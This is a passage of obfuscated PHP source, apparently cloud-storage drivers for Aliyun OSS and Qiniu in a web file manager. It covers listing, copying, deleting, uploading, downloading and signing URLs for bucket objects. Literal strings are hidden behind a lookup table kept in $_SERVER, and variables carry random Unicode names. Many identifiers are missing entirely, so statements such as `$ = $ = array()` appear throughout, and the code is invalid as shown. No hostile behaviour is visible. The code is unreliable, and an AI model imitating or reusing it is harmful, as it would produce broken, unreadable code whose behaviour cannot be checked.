? $[0] : $ԋ[12], $ԋ[192] => $묞, $ԋ[1413] => $Ԛ, $ԋ[1414] => isset($춈[0]) ? $춈[0] : $ԋ[12], $ԋ[190] => isset($䳯[0]) ? $䳯[0] : $ԋ[12]); } public function isBucketCors() { $͒Ɛ =& $_SERVER[ﻻ]; $٢ = $this->getBucketCors(); if (!$٢ || !is_array($٢)) { return !1; } if ($٢[$͒Ɛ[188]] != $͒Ɛ[189] || $٢[$͒Ɛ[190]] != $͒Ɛ[189]) { return !1; } $ʓ = array_map($͒Ɛ[191], $٢[$͒Ɛ[192]]); if (!is_array($ʓ)) { $ʓ = array(); } $ = array($͒Ɛ[193], $͒Ɛ[194], $͒Ɛ[195], $͒Ɛ[196], $͒Ɛ[197]); $ɺ = array_diff($, $ʓ); return empty($ɺ); } public function mkfile($ɔ, $є = '', $ = REPEAT_RENAME) { $ = $this->setContent($ɔ, $є); if ($ !== !1) { return $this->getPathOuter($ɔ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $Ӫ = 0) { $ =& $_SERVER[ﻻ]; $ = trim($, $[8]); $ = empty($) && $ !== $[198] ? $[12] : $ . $[8]; $§Ī = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $놔 = array($[1415] => $, $[1416] => $, $[1417] => $, $[1418] => $§Ī); try { $ϣū = $this->client->listObjects($this->bucket, $놔); } catch (OSS\Core\OssException $؎) { break; } $§Ī = $ϣū->getNextMarker(); $Π = $ϣū->getObjectList(); $ = $ϣū->getPrefixList(); foreach ($Π as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $뻑 = $->getSize(); $ޏ = $->getLastModified(); $ܑ = $Ӫ ? array($[32] => $, $[76] => $뻑, $[180] => strtotime($ޏ)) : $; $ = $뻑 == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[76] => $뻑, $[1419] => $뻑, $[85] => strtotime($ޏ), $[1420] => $ޏ); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ܑ; } foreach ($ as $ٖ) { $[] = $ٖ->getPrefix(); $this->cacheMethodInfoSet($ٖ->getPrefix(), !0); } if ($§Ī === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[82] => $, $[83] => $); } public function copyFile($Ї, $) { $ = $this->size($Ї); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $Ї, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ܢ) { return !1; } return $this->getPathOuter($); } $IJ٦ = $this->multiCopyObject($Ї, $, $); return $IJ٦ ? $this->getPathOuter($) : !1; } private function multiCopyObject($ֽΨ, $, $ф) { $ڸ =& $_SERVER[ﻻ]; try { $ = array(); if ($ѧ = $this->hashMd5($ֽΨ)) { $ = array(OSS\OssClient::OSS_HEADERS => array($ڸ[1421] => $ѧ)); } $״鬠 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ȅ㑱 = 0; $ = array(); $Ռ = 1024 * 1024 * 10; $ڱ = $this->client->generateMultiuploadParts($ф, $Ռ); foreach ($ڱ as $ҥʎ => $ጊ) { $ = $ȅ㑱 + (int) $ጊ[$ڸ[1422]]; $ = (int) $ጊ[$ڸ[337]] + $ - 1; $ѱ = array($ڸ[1423] => $, $ڸ[1424] => $); $[] = $this->client->uploadPartCopy($this->bucket, $ֽΨ, $this->bucket, $this->pathEncode($), $, $״鬠, $ѱ); $ = $ + 1; } $ي = array(); foreach ($ as $ҥʎ => $ҭᎶ) { $ي[] = array($ڸ[1425] => $ҥʎ + 1, $ڸ[1426] => $ҭᎶ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $״鬠, $ي); } catch (OSS\Core\OssException $ނ) { return !1; } return !0; } public function moveFile($Ѡ, $ʁ) { if ($this->copyFile($Ѡ, $ʁ)) { $this->remove($Ѡ); return $this->getPathOuter($ʁ); } return !1; } public function delFile($Â) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($Â)); } catch (OSS\Core\OssException $߶) { return !1; } return !0; } public function delFolder($ŗ) { $ =& $_SERVER[ﻻ]; if (!$this->exist($ŗ)) { return !0; } $this->listItemCache = !1; $ѵ = $this->fileList($ŗ); $this->listItemCache = !0; $ = trim($ŗ, $[8]) . $[8]; if (!empty($ŗ) && $ŗ !== $[198] && !in_array($, $ѵ[$[82]])) { $ѵ[$[82]][] = $; } $ʴ = $this->delByBatch($ѵ[$[83]]); if (!$ʴ) { return !1; } $ʴ = $this->delByBatch($ѵ[$[82]]); if (!$ʴ) { return !1; } return $this->delFile($); } private function delByBatch($̴) { foreach (array_chunk($̴, 1000) as $ܳ) { try { $this->client->deleteObjects($this->bucket, $ܳ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($̀, $) { return $this->renameObject($̀, $); } private function fileInfo($ˁ, $𢘞 = false, $Ɩ = array()) { $͕ =& $_SERVER[ﻻ]; $Ū = array($͕[32] => $this->pathThis($ˁ), $͕[84] => $this->getPathOuter($ˁ), $͕[33] => $͕[200], $͕[76] => isset($Ɩ[$͕[76]]) ? $Ɩ[$͕[76]] : 0, $͕[174] => $this->ext($ˁ)); if ($𢘞) { return $Ū; } $Ū[$͕[201]] = $Ū[$͕[85]] = 0; $Ū[$͕[202]] = $Ū[$͕[203]] = !0; if (empty($Ɩ)) { $ = $this->objectMeta($ˁ); if (!$) { return $Ū; } $Ɩ = array($͕[85] => strtotime($[$͕[1420]]), $͕[76] => $[$͕[1419]] + 0); } if (isset($Ɩ[$͕[76]])) { $Ū[$͕[76]] = $Ɩ[$͕[76]]; } if (isset($Ɩ[$͕[85]])) { $Ū[$͕[85]] = $Ɩ[$͕[85]]; } if (isset($Ɩ[$͕[180]]) && !trim($Ū[$͕[85]])) { $Ū[$͕[85]] = $Ɩ[$͕[180]]; } return $Ū; } private function folderInfo($, $Ŏ = false, $ҝ = array()) { $͡ =& $_SERVER[ﻻ]; $ = array($͡[32] => $this->pathThis($), $͡[84] => $this->getPathOuter($͡[8] . $), $͡[33] => $͡[75]); if ($Ŏ) { return $; } $[$͡[201]] = $[$͡[85]] = 0; $[$͡[202]] = $[$͡[203]] = !0; if (empty($ҝ)) { $ = rtrim($, $͡[8]) . $͡[8]; $ = $this->objectMeta($); if (!$) { return $; } $ҝ = array($͡[201] => $[$͡[511]][$͡[1427]], $͡[85] => strtotime($[$͡[1420]])); } if (isset($ҝ[$͡[85]])) { $[$͡[85]] = $ҝ[$͡[85]]; } if (isset($ҝ[$͡[201]])) { $[$͡[201]] = $ҝ[$͡[201]]; } return $; } public function listPath($, $ = false) { $ҏ =& $_SERVER[ﻻ]; $թ = $this->fileList($, $ҏ[8], !0); foreach ($թ[$ҏ[82]] as $Ħ => $úܕݯ) { $թ[$ҏ[82]][$Ħ] = $this->folderInfo($úܕݯ, $, $úܕݯ); } foreach ($թ[$ҏ[83]] as $Ħ => $úܕݯ) { $թ[$ҏ[83]][$Ħ] = $this->fileInfo($úܕݯ[$ҏ[32]], $, $úܕݯ); } return $թ; } protected function infoChildren($, &$ή) { $߿Ǔ =& $_SERVER[ﻻ]; $ = $this->fileList($, $߿Ǔ[12], !0); $ή[$߿Ǔ[78]] += count($[$߿Ǔ[82]]); $ή[$߿Ǔ[77]] += count($[$߿Ǔ[83]]); foreach ($[$߿Ǔ[83]] as $ڶ) { if (!$ڶ || !$ڶ[$߿Ǔ[76]]) { continue; } $ή[$߿Ǔ[76]] += $ڶ[$߿Ǔ[76]]; } } public function has($ݤ, $Ұ = false, $䥀 = true) { $̓ =& $_SERVER[ﻻ]; $ݤ = trim($ݤ, $̓[8]); $ᙸӺ = empty($ݤ) && $ݤ !== $̓[198] ? $̓[12] : $ݤ . $̓[8]; $լ = $̓[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $Ψ = array($̓[1415] => $̓[8], $̓[1416] => $ᙸӺ, $̓[1417] => $, $̓[1418] => $լ); try { $ = $this->client->listObjects($this->bucket, $Ψ); } catch (OSS\Core\OssException $֠܁) { break; } $լ = $->getNextMarker(); $ = $->getObjectList(); $ձ = $->getPrefixList(); if ($Ұ) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $ᙸӺ) { $ += count($) - 1; } if (!empty($ձ)) { $ += count($ձ); } if ($լ === $̓[12]) { break; } continue; } if ($䥀) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $ᙸӺ) { return !0; } } } else { if (!empty($ձ)) { return !0; } } if ($լ === $̓[12]) { break; } } if ($Ұ) { return array($̓[207] => $, $̓[208] => $); } return !1; } public function listAll($) { $ =& $_SERVER[ﻻ]; $֬ = $this->fileList($, $[12], !0); $ן = array_to_keyvalue($֬[$[83]], $[32]); foreach ($֬[$[82]] as $) { if (is_string($)) { $ן[$] = array($[76] => 0); } } return $this->listAllFiles($, $ן); } public function canRead($) { $ =& $_SERVER[ﻻ]; $ʡ = $this->pathAcl($); return $ʡ == $[1428] || $ʡ == $[556] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[ﻻ][556] ? !0 : !1; } public function pathAcl($䡄Ë) { $Ͻ =& $_SERVER[ﻻ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ް = $this->client->getObjectAcl($this->bucket, $this->pathEncode($䡄Ë)); } catch (OSS\Core\OssException $ܥ둸) { return !1; } $ = $ް == $Ͻ[37] ? $this->bucketAcl : $ް; if ($ == $Ͻ[1429]) { return $Ͻ[1428]; } if ($ == $Ͻ[1430]) { return $Ͻ[556]; } return $; } private function chmodPath($, $ = '') { $ =& $_SERVER[ﻻ]; $ = empty($) ? $[1430] : $; $Ր = array($[37], $[199], $[1429], $[1430]); if (!in_array($, $Ր)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $̕) { return !1; } return !0; } public function getContent($ק) { return $this->fileSubstr($ק, -1); } public function setContent($г, $メ = '') { $ו =& $_SERVER[ﻻ]; try { $ = $this->trafficLimit($ו[1431]); $ҏҭ = $this->client->putObject($this->bucket, $this->pathEncode($г), $メ, $); } catch (OSS\Core\OssException $) { return !1; } $嶦 = array($ו[1421] => trim($ҏҭ[$ו[1432]], $ו[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($г))); $this->updateObjMeta($г, $嶦); return isset($ҏҭ[$ו[1433]][$ו[1380]]) ? !0 : !1; } private function updateObjMeta($Һ, $) { $Һ = $this->pathEncode($Һ); try { $ؓ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $Һ, $this->bucket, $Һ, $ؓ); } catch (OSS\Core\OssException $酵) { return !1; } return !0; } public function upload($۩ܷ, $ؼ, $Ė = false, $ݫ = REPEAT_REPLACE) { $ȶ =& $_SERVER[ﻻ]; $ = trim($۩ܷ, $ȶ[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ȶ[1421] => @md5_file($ؼ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($۩ܷ))); $ = $this->trafficLimit($ȶ[1431], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $ؼ, $); } catch (OSS\Core\OssException $˷) { return !1; } return $this->getPathOuter($۩ܷ); } public function getHost() { $̐ =& $_SERVER[ﻻ]; $ = explode($̐[184], parent::getHost()); return $[0] . $̐[184] . $this->bucket . $̐[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[ﻻ]; if (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1434], time() + $); $ƺ = new DateTime($); $䆵 = $ƺ->format(DateTime::ISO8601); $ = strpos($䆵, $[296]); $䆵 = substr($䆵, 0, $) . $[1435]; $ںʫ = 1048576000 * 5; $ߣ = $this->pathFather($); $Ͼ = array($[1334] => $䆵, $[1335] => array(array($[1436], 0, $ںʫ), array($[1338], $[1339], $ߣ))); $ʨ = base64_encode(json_encode($Ͼ)); $ɢ = base64_encode(hash_hmac($[232], $ʨ, $this->secret, !0)); $ = array($[1344] => $ʨ, $[1437] => $this->accessKey, $[1340] => $[1332], $[1438] => $ɢ, $[182] => $); $ = $this->trafficLimit($[1431], $); return $; } public function multiUploadFormData($, $Į = 3600) { $ =& $_SERVER[ﻻ]; if (!($Ɵ = $this->getHost())) { return !1; } $ȏ = $this->trafficLimit($[1431]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $ȏ); return array($[223] => $, $[182] => $Ɵ . $[8] . $this->pathEncode($), $[224] => gmdate($[1439]), $[94] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[ﻻ]; $㶬 = isset($[$[224]]) ? $[$[224]] : gmdate($[1439]); $ = isset($[$[174]]) ? $[$[174]] : $[12]; $ = $; if (isset($[$[94]])) { $ = $[$[94]]; unset($[$[94]]); } if (isset($[$[225]])) { $[$[224]] = $㶬; return $this->listUploadParts($, $); } $ = array($[226], $[12], $[120], $㶬, "\x78\55\x6f\163\x73\55\x64\141\x74\x65\x3a{$㶬}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[227]) === 0) { $[0] = $[228]; if ($ = $this->trafficLimit($[1431])) { $ = $[1440]; array_splice($, 5, 0, $ . $[4] . $[$]); } } if (isset($[$[229]]) && $[$[229]] == $[230]) { $[0] = $[230]; } if (!empty($[$[1441]])) { $Ýȭ = array_merge(array($[4]), $[$[1441]]); sort($Ýȭ); $[4] = implode($[231], $Ýȭ); } $ = implode($[231], $); $ = base64_encode(hash_hmac($[232], $, $this->secret, !0)); $Ѫݰ = $[1405] . $this->accessKey . $[4] . $; if (strpos($, $[227]) === 0) { $Ѫݰ = array($[234] => $Ѫݰ, $[224] => $㶬); if ($) { $Ѫݰ = array_merge($Ѫݰ, $); } } return $Ѫݰ; } public function listUploadParts($ֶ, $Ɔ) { $։ =& $_SERVER[ﻻ]; $ = parse_url_query($Ɔ[$։[174]]); $ϗ = $this->client->listParts($this->bucket, $this->pathEncode($ֶ), $[$։[223]]); $ = $ϗ->getListPart(); $˷ = array(); foreach ($ as $) { $˷[] = array($։[1425] => $->getPartNumber(), $։[1426] => trim($->getETag(), $։[118])); } unset($Ɔ[$։[225]], $Ɔ[$։[229]]); $ؤ = $this->multiUploadAuthData($ֶ, $Ɔ); if (empty($ؤ)) { return !1; } return array($։[234] => $ؤ, $։[224] => $Ɔ[$։[224]], $։[236] => $˷); } public function download($, $ӓ) { if ($this->isFolder($)) { return !1; } try { $̝ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $ӓ); $̝ = $this->trafficLimit($_SERVER[ﻻ][109], $̝); $this->client->getObject($this->bucket, $this->pathEncode($), $̝); } catch (OSS\Core\OssException $ߗ) { return !1; } return $ӓ; } public function fileSubstr($̱, $ = 0, $ɍ = false) { if ($ === -1) { $ = array(); } else { if ($ɍ === !1) { $薵 = $this->size($̱); } else { $薵 = $ + $ɍ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$薵}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($̱), $); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($, $ = array()) { $襀 =& $_SERVER[ﻻ]; if ($ == $襀[1431] && $this->isUploadServer() || $ == $襀[109] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$襀[6]][$襀[89]][$襀[107]][$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $ = array()) { $ =& $_SERVER[ﻻ]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[109], $); $؟ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[230], $); return $this->getCdnLink($؟); } catch (OSS\Core\OssException $ƀۍ) { return !1; } } public function fileOut($ŷ, $ = false, $ = false, $ = '') { $Ԓ =& $_SERVER[ﻻ]; if ($this->isFileOutServer()) { return $this->fileOutServer($ŷ, $, $, $); } if (!$) { $ = $this->pathThis($ŷ); } $ = rawurlencode($); $ߧ = get_file_mime(get_path_ext($)); if ($ߧ == $Ԓ[217]) { return parent::fileOut($ŷ, $, $, $); } $ = $ ? $Ԓ[1442] : $Ԓ[1443]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $Ԓ[1444] . rawurlencode("{$}\x3b\x66\151\x6c\x65\156\x61\155\145\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $Ԓ[1445] . rawurlencode($ߧ); $ = $this->link($ŷ, $); $this->fileOutLink($); } public function fileOutServer($, $хя = false, $ = false, $ = '') { parent::fileOut($, $хя, $, $); } public function fileOutImage($, $ﷃ = 250) { $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ﻻ][1446] . $ﷃ); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutImageServer($熷, $樨 = 250) { parent::fileOutImage($熷, $樨); } public function fileOutLink($ǘ) { $Ŕʳ =& $_SERVER[ﻻ]; if (!$this->isCdnHost() && substr($ǘ, 0, 7) == $Ŕʳ[1347]) { $ǘ = $Ŕʳ[1348] . substr($ǘ, 7); } header($Ŕʳ[161] . $ǘ); die; } public function hashMd5($, $Ӂπ = '') { $ب =& $_SERVER[ﻻ]; $꿌 = $this->_objectMeta($); if (!$꿌) { return $ب[12]; } if (!isset($꿌[$ب[1421]]) && !empty($Ӂπ)) { $ = $this->updateObjMeta($, array($ب[1421] => $Ӂπ)); $꿌[$ب[1421]] = $ ? $Ӂπ : $ب[12]; } return isset($꿌[$ب[1421]]) ? strtolower($꿌[$ب[1421]]) : $ب[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ﻻ][76]] : 0; } public function info($ǘ) { if ($this->isFolder($ǘ)) { return $this->folderInfo($ǘ); } else { if ($this->isFile($ǘ)) { return $this->fileInfo($ǘ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($⥞ܼ) { return !$this->isFolder($⥞ܼ) && $this->objectMeta($⥞ܼ); } public function isFolder($ն) { return $this->cacheMethod($_SERVER[ﻻ][165], $ն); } protected function objectMeta($ȷ) { return $this->cacheMethod($_SERVER[ﻻ][167], $ȷ); } protected function _objectMeta($ْ) { $ =& $_SERVER[ﻻ]; try { $ɴ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ْ)); } catch (OSS\Core\OssException $) { $ɴ = !1; } if ($ɴ) { $ɴ[$[76]] = intval($ɴ[$[1419]]); } return $ɴ; } protected function _isFolder($) { $ =& $_SERVER[ﻻ]; if ($ == $[12] || $ == $[8]) { return !0; } $ = array($[1415] => $[8], $[1416] => rtrim($, $[8]) . $[8], $[1417] => 1, $[1418] => $[12]); $ծŪ = $this->client->listObjects($this->bucket, $); if ($ծŪ->getObjectList() || $ծŪ->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($͢) { parent::__construct(); require_once SDK_DIR . $_SERVER[ﻻ][1447]; $this->_init($͢); } public function _init($ɽ) { $ =& $_SERVER[ﻻ]; $this->config = $ɽ; foreach ($ɽ as $ᜃ˘ => $) { if (isset($this->{$ᜃ˘})) { $this->{$ᜃ˘} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1448] . LNG($[1406])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ևͰ, $Г = '', $ = REPEAT_RENAME) { if ($this->setContent($ևͰ, $Г)) { return $this->getPathOuter($ևͰ); } return !1; } public function mkdir($ɫ, $ = REPEAT_SKIP) { $Ġ =& $_SERVER[ﻻ]; $ = trim($ɫ, $Ġ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ɫ = $ . $Ġ[8]; $ = get_path_this($); $܊ = $ɫ . $; if (!$this->mkfile($܊)) { return !1; } if (!$this->moveFile($܊, $ɫ)) { $this->delFile($܊); return !1; } return $this->getPathOuter($); } public function copyFile($ה, $) { $窎 = $this->bucketManager->copy($this->bucket, $ה, $this->bucket, $, !0); return $窎 ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $Ȅ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $Ȅ ? !1 : $this->getPathOuter($); } public function delFile($ޣ) { if (!$this->exist($ޣ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $ޣ); return $ ? !1 : !0; } public function delFolder($ܼ) { $ŕ =& $_SERVER[ﻻ]; if (!$this->exist($ܼ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ܼ); $this->listItemCache = !0; $虲 = trim($ܼ, $ŕ[8]) . $ŕ[8]; if (!empty($ܼ) && $ܼ !== $ŕ[198] && !in_array($虲, $[$ŕ[82]])) { $[$ŕ[82]][] = $虲; } $ّ = $this->delByBatch($[$ŕ[83]]); if (!$ّ) { return !1; } $ّ = $this->delByBatch($[$ŕ[82]]); if (!$ّ) { return !1; } return $this->delFile($虲); } private function delByBatch($߁) { foreach (array_chunk($߁, 1000) as $ᴽɐ) { $Ϯ = $this->bucketManager->buildBatchDelete($this->bucket, $ᴽɐ); list($л, $ȶ) = $this->bucketManager->batch($Ϯ); if ($ȶ) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($ْ, $҃ = false, $Է = array()) { $ =& $_SERVER[ﻻ]; $ꛇ = array($[32] => $this->pathThis($ْ), $[84] => $this->getPathOuter($[8] . $ْ), $[33] => $[200], $[76] => isset($Է[$[1449]]) ? $Է[$[1449]] : 0, $[174] => $this->ext($ْ)); if ($҃) { return $ꛇ; } $ꛇ[$[201]] = $ꛇ[$[85]] = 0; $ꛇ[$[202]] = $ꛇ[$[203]] = !0; if (empty($Է)) { $Է = $this->objectMeta($ْ); if (!$Է) { return $ꛇ; } } if (isset($Է[$[1450]])) { $ꛇ[$[85]] = substr($Է[$[1450]] . $[12], 0, 10); } if (isset($Է[$[1449]])) { $ꛇ[$[76]] = $Է[$[1449]]; } return $ꛇ; } public function folderInfo($«, $έ = false) { $Ÿ =& $_SERVER[ﻻ]; $ = array($Ÿ[32] => $this->pathThis($«), $Ÿ[84] => $this->getPathOuter($Ÿ[8] . $«), $Ÿ[33] => $Ÿ[75]); if ($έ) { return $; } $[$Ÿ[201]] = $[$Ÿ[85]] = 0; $[$Ÿ[202]] = $[$Ÿ[203]] = !0; $« = rtrim($«, $Ÿ[8]) . $Ÿ[8]; $ʜ = $this->objectMeta($«); if (isset($ʜ[$Ÿ[1450]])) { $[$Ÿ[85]] = substr($ʜ[$Ÿ[1450]] . $Ÿ[12], 0, 10); } return $; } public function listPath($ԍ, $ = false) { $ =& $_SERVER[ﻻ]; $ = $this->fileList($ԍ, $[8], !0); foreach ($[$[82]] as $ٚ => $Ί) { $[$[82]][$ٚ] = $this->folderInfo($Ί, $); } foreach ($[$[83]] as $ٚ => $Ί) { $[$[83]][$ٚ] = $this->fileInfo($Ί[$[94]], $, $Ί); } return $; } public function has($뼖, $ځ = false, $ = true) { $߁ =& $_SERVER[ﻻ]; $뼖 = trim($뼖, $߁[8]); $ݖ = empty($뼖) && $뼖 !== $߁[198] ? $߁[12] : $뼖 . $߁[8]; $ĉ = $߁[12]; $ = 500; $ = $߁[8]; $鋺 = $ = 0; while (!0) { check_abort(); list($٨, $˜ى) = $this->bucketManager->listFiles($this->bucket, $ݖ, $ĉ, $, $); if ($˜ى) { break; } $ĉ = array_key_exists($߁[1418], $٨) ? $ĉ = $٨[$߁[1451]] : $߁[12]; if ($ځ) { if (!empty($٨[$߁[1452]])) { $鋺 += count($٨[$߁[1452]]); } if (!empty($٨[$߁[1453]])) { $ += count($٨[$߁[1453]]); } if ($ĉ === $߁[12]) { break; } continue; } if ($) { if (!empty($٨[$߁[1452]])) { return !0; } } else { if (!empty($٨[$߁[1453]])) { return !0; } } if ($ĉ === $߁[12]) { break; } } if ($ځ) { return array($߁[207] => $鋺, $߁[208] => $); } return !1; } public function listAll($❦) { $ =& $_SERVER[ﻻ]; $쌺 = $this->fileList($❦, $[12], !0); $Һ⽳ = array_to_keyvalue($쌺[$[83]], $[32]); foreach ($쌺[$[82]] as $) { if (is_string($)) { $Һ⽳[$] = array($[76] => 0); } } return $this->listAllFiles($❦, $Һ⽳); } private function fileList($ޞ, $ = '', $ư = 0) { $˸ =& $_SERVER[ﻻ]; $ޞ = trim($ޞ, $˸[8]); $ = empty($ޞ) && $ޞ !== $˸[198] ? $˸[12] : $ޞ . $˸[8]; $П = $˸[12]; $ = 1000; $ = $ᢳ = array(); while (!0) { check_abort(); list($ר¯, $Ԧ) = $this->bucketManager->listFiles($this->bucket, $, $П, $, $); if ($Ԧ) { break; } $П = array_key_exists($˸[1418], $ר¯) ? $П = $ר¯[$˸[1451]] : $˸[12]; $ޟ녜 = isset($ר¯[$˸[1452]]) ? $ר¯[$˸[1452]] : array(); $ = isset($ר¯[$˸[1453]]) ? $ר¯[$˸[1453]] : array(); foreach ($ޟ녜 as $) { if ($[$˸[94]] == $) { continue; } $ = $[$˸[94]]; $ = $[$˸[1449]]; $[$˸[76]] = $; $Ӵ = $ == 0 && substr($, strlen($) - 1, 1) == $˸[8] ? !0 : !1; $this->cacheMethodInfoSet($, $Ӵ, $); if ($Ӵ) { $[] = $; continue; } $ᢳ[] = $ư ? $ : $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($П === $˸[12]) { break; } } $this->cacheMethodInfoSet($ޞ, !0); return array($˸[82] => $, $˸[83] => $ᢳ); } public function canRead($Ψ) { return $this->exist($Ψ) ? !0 : !1; } public function canWrite($̴ȯ) { return $this->exist($̴ȯ) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($휩, $ʙ = '') { $Ֆݻ = $this->tempFile($this->pathThis($휩)); file_put_contents($Ֆݻ, $ʙ); if ($this->upload($휩, $Ֆݻ)) { $this->tempFileRemve($Ֆݻ); return !0; } return !1; } public function refreshUrls($) { $Э =& $_SERVER[ﻻ]; $Ҍ = array(); if (is_array($)) { foreach ($ as $Ԫʁ) { $Ҍ[] = $this->link($Ԫʁ); } } else { $Ҍ[] = $this->link($); } $㋚ = new Qiniu\Cdn\CdnManager($this->auth); list($, $ґ) = $㋚->refreshUrls($Ҍ); if ($ґ) { return !1; } return $[$Э[1192]] == $Э[772] ? !0 : !1; } public function fileSubstr($, $ݜ, $ȝ) { $ =& $_SERVER[ﻻ]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ȝ > 0) { $ҹ = $ݜ + $ȝ - 1; $ = array($[1454] . $ݜ . $[386] . $ҹ); } $ِ = url_request($, $[230], !1, $); return $ِ[$[762]] ? $ِ[$[1212]] : !1; } public function upload($ط, $΅, $ = false, $ۭ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $ط); $ʿ = get_file_mime(get_path_ext($΅)); list($, $ސ) = $->putFile($, $ط, $΅, null, $ʿ); return $ސ ? !1 : $this->getPathOuter($ط); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($ӊأ, $ = 3600) { return $this->uploadToken($ӊأ, $); } private function uploadToken($, $׃ = 3600) { $ŵ =& $_SERVER[ﻻ]; $Ԓ = $׃; $ = array($ŵ[1455] => $ŵ[1456]); $ʈ = $; $ = $this->auth->uploadToken($this->bucket, $ʈ, $Ԓ, $, !0); $כ = empty($this->region) || $this->region == $ŵ[1457] ? $ŵ[12] : $ŵ[386] . $this->region; $ʲ = http_type() . "\72\57\x2f\165\160\x6c\x6f\x61\x64{$כ}\x2e\161\x69\x6e\151\x75\160\x2e\x63\x6f\155\x2f"; return array($ŵ[1458] => $, $ŵ[1459] => $ʲ); } public function download($, $騦) { $Ǧ = IO::getPathInner(IO::mkfile($騦)); if (!($γ = $this->link($))) { return !1; } $ʗ = 0; $̰ = 1024 * 200; $ΐ = fopen($Ǧ, $_SERVER[ﻻ][1460]); while (!0) { $ݮ = $this->fileSubstr($, $ʗ, $̰); if ($ݮ === !1) { return !1; } fwrite($ΐ, $ݮ); $ʗ += $̰; if (strlen($ݮ) < $̰) { break; } } fclose($ΐ); return $騦; } public function link($, $ܟ = '') { if (!$this->isFile($)) { return !1; } $˜漯 = $this->getHost() . $_SERVER[ﻻ][8] . $this->pathEncode($) . $ܟ; return $this->auth->privateDownloadUrl($˜漯, 3600 * 12); } public function fileOut($ڴ, $엖 = false, $ր슯 = false, $ = '') { $ =& $_SERVER[ﻻ]; if ($this->isFileOutServer()) { return $this->fileOutServer($ڴ, $엖, $ր슯, $); } if (!$ր슯) { $ր슯 = $this->pathThis($ڴ); } $֒ٚ = $엖 ? $[1461] . rawurlencode($ր슯) : $[12]; $ = $this->link($ڴ, $֒ٚ); $this->fileOutLink($); } public function fileOutServer($́, $ھ = false, 